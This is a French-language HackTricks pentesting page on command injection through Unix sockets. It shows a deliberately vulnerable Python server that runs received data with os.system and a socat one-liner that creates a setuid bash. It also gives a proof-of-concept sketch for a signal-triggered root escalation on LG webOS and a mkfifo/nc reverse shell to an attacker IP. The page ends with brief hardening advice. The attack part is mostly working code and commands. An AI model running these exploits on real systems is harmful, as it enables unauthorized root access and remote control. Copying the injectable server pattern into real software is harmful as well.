Socket Command Injection
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Socket binding example with Python
Dans l'exemple suivant, un unix socket est créé (/tmp/socket_test.s) et tout ce qui est reçu sera exécuté par os.system. Je sais que vous n'allez pas trouver cela dans la nature, mais l'objectif de cet exemple est de voir à quoi ressemble un code utilisant des unix sockets, et comment gérer l'entrée dans le pire des cas possible.
import socket
import os, os.path
import time
from collections import deque
if os.path.exists("/tmp/socket_test.s"):
os.remove("/tmp/socket_test.s")
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/socket_test.s")
os.system("chmod o+w /tmp/socket_test.s")
while True:
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()
Exécutez le code avec python: python s.py et vérifiez comment le socket est à l'écoute:
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
Exploit
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
Ătude de cas : Ă©lĂ©vation dĂ©clenchĂ©e par signal via un UNIX socket possĂ©dĂ© par root (LG webOS)
Certains daemons privilégiés exposent un UNIX socket possédé par root qui accepte des entrées non fiables et associe des actions privilégiées à des IDs de thread natifs et à des signaux. Si le protocole permet à un client non privilégié d'influencer quel thread natif est ciblé, il est possible de déclencher un chemin de code privilégié et d'obtenir une élévation.
Schéma observé :
- Se connecter à un socket possédé par root (par ex., /tmp/remotelogger).
- Créer un thread et obtenir son identifiant de thread natif (TID).
- Envoyer le TID (packĂ©) plus du padding en tant que requĂȘte ; recevoir un accusĂ© de rĂ©ception.
- Envoyer un signal spécifique à ce TID pour déclencher le comportement privilégié.
Esquisse de PoC minimale:
import socket, struct, os, threading, time
# Spawn a thread so we have a TID we can signal
th = threading.Thread(target=time.sleep, args=(600,)); th.start()
tid = th.native_id # Python >=3.8
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/tmp/remotelogger")
s.sendall(struct.pack('<L', tid) + b'A'*0x80)
s.recv(4) # sync
os.kill(tid, 4) # deliver SIGILL (example from the case)
Pour transformer ceci en root shell, on peut utiliser un simple schéma named-pipe + nc :
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
Remarques:
- Cette classe de bugs provient de la confiance accordée à des valeurs dérivées de l'état client non privilégié (TIDs) et de leur liaison à des gestionnaires de signaux ou à une logique privilégiée.
- Durcir en imposant des credentials sur le socket, en validant les formats de message, et en découplant les opérations privilégiées des identifiants de thread fournis par l'extérieur.
Références
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
HackTricks